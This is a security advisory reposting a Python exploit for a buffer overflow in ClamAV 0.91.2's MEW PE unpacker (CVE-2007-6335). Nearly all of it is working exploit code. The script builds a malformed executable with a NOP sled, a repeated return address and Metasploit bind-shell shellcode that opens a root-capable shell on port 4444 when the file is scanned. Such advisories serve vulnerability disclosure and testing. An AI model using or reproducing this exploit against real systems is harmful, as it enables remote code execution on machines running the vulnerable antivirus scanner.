[EXPL] ClamAV MEW PE Vulnerability (Exploit)



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ClamAV MEW PE Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

A vulnerability in ClamAV allows attackers to supply the program with a
malformed MEW PE file which in turn will cause the program to overflow an
internal buffer and execute arbitrary code, the following exploit code can
be used to test the problem.

DETAILS

Vulnerable Systems:
* ClamAV version 0.91.2

Exploit:

'''

clamav-0.91.2 exploit ( CVE-2007-6335 )
(c) Thomas Pollet thomas.pollet@xxxxxxxxx

we own dsize in
read(desc, src + dsize, exe_sections[i + 1].rsz)) != exe_sections[i +
1].rsz)
exploited with randomize_va_space = 0

'''

import struct

exe=(
"\x4d\x5a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x02\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0f\x01\x0b\x01\x00\x00"
"\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x53\x00\x00\x00\x10\x00\x00"
"\x0c\x00\x00\x00\x00\x00\x40\x00\x00\x10\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x02\x00\x00"
"\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x20\x00\x00\x10\x00\x00\x00\x00\x10\x00"
"\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x0b\x53\x00\x00\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x4d\x45\x57\x00\x46\x12\xd2\xc3\xff\xfa"
"DSIZE"
"\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\xc0"
"\x02\xd2\x75\xdb\x8a\x16\xeb\xd4"
"SSIZE"
"\x00\x50\x00\x00\xff\xff\xff\x00"
"\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\xc0"
"\xbe\x1c\x50\x40\x00\x8b\xde\xad\xad\x50\xad\x97\xb2\x80\xa4\xb6\x80\xff\x13\x73"
"\xf9\x33\xc9\xff\x13\x73\x16\x33\xc0\xff\x13\x73\x21\xb6\x80\x41\xb0\x10\xff\x13"
"\x12\xc0\x73\xfa\x75\x3e\xaa\xeb\xe0\xe8\x76\x4e\x00\x00\x02\xf6\x83\xd9\x01\x75"
"\x0e\xff\x53\xfc\xeb\x26\xac\xd1\xe8\x74\x2f\x13\xc9\xeb\x1a\x91\x48\xc1\xe0\x08"
"\xac\xff\x53\xfc\x3d\x00\x7d\x00\x00\x73\x0a\x80\xfc\x05\x73\x06\x83\xf8\x7f\x77"
"\x02\x41\x41\x95\x8b\xc5\xb6\x00\x56\x8b\xf7\x2b\xf0\xf3\xa4\x5e\xeb\x9b\xad\x85"
"\xc0\x75\x90\xad\x96\xad\x97\x56\xac\x3c\x00\x75\xfb\xff\x53\xf0\x95\x56\xad\x0f"
"\xc8\x40\x59\x74\xec\x79\x07\xac\x3c\x00\x75\xfb\x91\x40\x50\x55\xff\x53\xf4\xab"
"\x85\x01\x75\xe5\xc3\x00\x00\x00\x00\x00\x00\x00"
"COPYSIZE"
"CRAP"
"\x73\x00\xe9\x49\xae\xff\xff\x0c\x50\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\xdd\x52\x00\x00\x0c\x50\x00\x00")

shellcode= ( #linux_ia32_bind - LPORT=4444 Size=84 Encoder=None
http://metasploit.com */
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
"\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
"\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
"\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
"\x89\xe1\xcd\x80"
)

exe = exe.replace("DSIZE",struct.pack('<L',0x01010000 | 0xb67b))#dsize
exe = exe.replace("SSIZE",struct.pack('<L',0x49838da9 + 0x7000 ))
exe = exe.replace("COPYSIZE",struct.pack('<L',0xf7070707 ))
exe = exe.replace("CRAP","A"*768)

exe+="a" #alignment
exe+=struct.pack('<L', 0xbfff9010 ) * 16000 #return address
exe+="\x90"* 0x4000
exe+=shellcode

fout = open("exploit.exe","w")
fout.write(exe)
fout.close()

# milw0rm.com [2008-01-07]


ADDITIONAL INFORMATION

The information has been provided by <mailto:thomas.pollet@xxxxxxxxx>
Thomas Pollet.



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